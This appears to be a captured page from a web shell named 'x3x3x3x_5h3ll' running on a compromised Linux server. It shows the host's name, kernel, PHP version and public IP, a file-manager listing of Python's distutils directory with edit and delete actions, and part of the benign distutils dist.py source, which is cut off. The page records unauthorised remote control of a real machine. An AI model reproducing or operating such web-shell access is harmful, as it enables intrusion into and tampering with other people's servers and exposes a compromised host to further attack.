x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/opt/alt/python311/lib64/python3.11/distutils/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2024-06-09 22:18 R D
command dir drwxr-xr-x 2024-06-09 22:18 R D
README 0.238 KB -rw-r--r-- 2024-04-02 08:25 R E G D
__init__.py 0.528 KB -rw-r--r-- 2024-04-02 08:25 R E G D
_msvccompiler.py 19.538 KB -rw-r--r-- 2024-04-02 08:25 R E G D
archive_util.py 8.371 KB -rw-r--r-- 2024-04-02 08:25 R E G D
bcppcompiler.py 14.545 KB -rw-r--r-- 2024-04-02 08:25 R E G D
ccompiler.py 46.307 KB -rw-r--r-- 2024-04-02 08:25 R E G D
cmd.py 17.655 KB -rw-r--r-- 2024-04-02 08:25 R E G D
config.py 4.835 KB -rw-r--r-- 2024-04-02 08:25 R E G D
core.py 8.668 KB -rw-r--r-- 2024-04-02 08:25 R E G D
cygwinccompiler.py 15.996 KB -rw-r--r-- 2024-04-02 08:25 R E G D
debug.py 0.136 KB -rw-r--r-- 2024-04-02 08:25 R E G D
dep_util.py 3.409 KB -rw-r--r-- 2024-04-02 08:25 R E G D
dir_util.py 7.596 KB -rw-r--r-- 2024-04-02 08:25 R E G D
dist.py 49.204 KB -rw-r--r-- 2024-04-02 08:25 R E G D
errors.py 3.493 KB -rw-r--r-- 2024-04-02 08:25 R E G D
extension.py 10.282 KB -rw-r--r-- 2024-04-02 08:25 R E G D
fancy_getopt.py 17.367 KB -rw-r--r-- 2024-04-02 08:25 R E G D
file_util.py 7.957 KB -rw-r--r-- 2024-04-02 08:25 R E G D
filelist.py 12.531 KB -rw-r--r-- 2024-04-02 08:25 R E G D
log.py 1.923 KB -rw-r--r-- 2024-04-02 08:25 R E G D
msvc9compiler.py 29.739 KB -rw-r--r-- 2024-04-02 08:25 R E G D
msvccompiler.py 22.976 KB -rw-r--r-- 2024-04-02 08:25 R E G D
spawn.py 4.551 KB -rw-r--r-- 2024-04-02 08:25 R E G D
sysconfig.py 12.144 KB -rw-r--r-- 2024-04-02 08:25 R E G D
text_file.py 12.19 KB -rw-r--r-- 2024-04-02 08:25 R E G D
unixccompiler.py 14.959 KB -rw-r--r-- 2024-04-17 17:54 R E G D
util.py 20.539 KB -rw-r--r-- 2024-04-02 08:25 R E G D
version.py 12.221 KB -rw-r--r-- 2024-04-02 08:25 R E G D
versionpredicate.py 5.013 KB -rw-r--r-- 2024-04-02 08:25 R E G D
REQUEST EXIT
"""distutils.dist Provides the Distribution class, which represents the module distribution being built/installed/distributed. """ import sys import os import re from email import message_from_file try: import warnings except ImportError: warnings = None from distutils.errors import * from distutils.fancy_getopt import FancyGetopt, translate_longopt from distutils.util import check_environ, strtobool, rfc822_escape from distutils import log from distutils.debug import DEBUG # Regex to define acceptable Distutils command names. This is not *quite* # the same as a Python NAME -- I don't allow leading underscores. The fact # that they're very similar is no coincidence; the default naming scheme is # to look for a Python module named after the command. command_re = re.compile(r'^[a-zA-Z]([a-zA-Z0-9_]*)$') def _ensure_list(value, fieldname): if isinstance(value, str): # a string containing comma separated values is okay. It will # be converted to a list by Distribution.finalize_options(). pass elif not isinstance(value, list): # passing a tuple or an iterator perhaps, warn and convert typename = type(value).__name__ msg = f"Warning: '{fieldname}' should be a list, got type '{typename}'" log.log(log.WARN, msg) value = list(value) return value class Distribution: """The core of the Distutils. Most of the work hiding behind 'setup' is really done within a Distribution instance, which farms the work out to the Distutils commands specified on the command line. Setup scripts will almost never instantiate Distribution directly, unless the 'setup()' function is totally inadequate to their needs. However, it is conceivable that a setup script might wish to subclass Distribution for some specialized purpose, and then pass the subclass to 'setup()' as the 'distclass' keyword argument. If so, it is necessary to respect the expectations that 'setup' has of Distribution. See the code for 'setup()', in core.py, for details. """ # 'global_options' describes the command-line options that may be # supplied to the setup script prior to any actual commands. # Eg. "./setup.py -n" or "./setup.py --quiet" both take advantage of # these global options. This list should be kept to a bare minimum, # since every global option is also valid as a command option -- and we # don't want to pollute the commands with too many options that they # have minimal control over. # The fourth entry for verbose means that it can be repeated. global_options = [ ('verbose', 'v', "run verbosely (default)", 1), ('quiet', 'q', "run quietly (turns verbosity off)"), ('dry-run', 'n', "don't actually do anything"), ('help', 'h', "show detailed help message"), ('no-user-cfg', None, 'ignore pydistutils.cfg in your home directory'), ] # 'common_usage' is a short (2-3 line) string describing the common # usage of the setup script. common_usage = """\ Common commands: (see '--help-commands' for more) setup.py build will build the package underneath 'build/' setup.py install will install the package """ # options that are not propagated to the commands display_options = [ ('help-commands', None, "list all available commands"), ('name', None, "print package name"), ('version', 'V', "print package version"), ('fullname', None, "print -"), ('author', None, "print the author's name"), ('author-email', None, "print the author's email address"), ('maintainer', None, "print the maintainer's name"), ('maintainer-email', None, "print the maintainer's email address"), ('contact', None, "print the maintainer's name if known, else the author's"), ('contact-email', None, "print the maintainer's email address if known, else the author's"), ('url', None, "print the URL for this package"), ('license', None, "print the license of the package"), ('licence', None, "alias for --license"), ('description', None, "print the package description"),